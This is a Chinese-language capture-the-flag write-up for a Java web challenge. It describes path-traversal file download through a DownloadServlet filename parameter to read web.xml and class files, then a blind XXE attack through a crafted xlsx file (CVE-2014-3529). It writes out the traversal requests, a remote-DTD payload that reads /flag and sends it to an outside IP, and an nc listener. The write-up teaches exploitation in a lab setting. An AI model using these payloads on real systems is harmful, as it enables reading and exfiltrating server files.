知識點
- web.xml文件泄露
- blind xxe
隨便上傳一個文件,然后點擊下載,抓包
看到有filename,猜測可能存在目錄穿越以及任意文件下載
嘗試
filename=../
看到有一個路徑,里面有WEB-INF,題目提示與java有關,那應該是web.xml文件泄露,嘗試讀取
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
這里的讀取我是又抓了一次包,把上面repeater的報文復制到proxy,再Forward下載文件
其實不需要這么麻煩,上圖右半部分已經給出了三個class文件的地址,下下來就行了
repeater中
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
repeater重放就能發現有東西,重新點一次下載,將repeater的報文復制到proxy里,點擊Forward,就可以下載到DownloadServlet.class文件
按照這個方法,依次下載web.xml中出現的DownloadServlet.class,ListFileServlet.class,UploadServlet.class等三個class文件
對這些class文件進行反編譯,我用的jd-gui
代碼太多,只貼關鍵的,UploadServlet.class
這里是一個excel和xxe漏洞的結合,CVE-2014-3529
這里需要用到vps,因為是在buu上復現的,所以注冊一個小號,開一台靶機就行
新建一個excel-123456.xlsx文件,后綴名改成zip。注意,修改zip文件的時候,最好用WinRAR打開修改,完事直接保存,若是先解壓,修改完了再壓縮,有可能出問題。接下來就是在里面的[Content_Types].xml的第二行加入
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://靶機內網ip,不是ssh連接的那個/file.dtd"> %remote;%int;%send; ]>
然后在靶機的/var/www/html目錄下新建一個file.dtd文件,內容為
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.94.166:9999?p=%file;'>">
然后就是監聽
nc -lvvp 9999
緊接着上傳excel-123456.xlsx文件,在靶機處接收到flag
參考
https://www.gem-love.com/websecurity/2322.html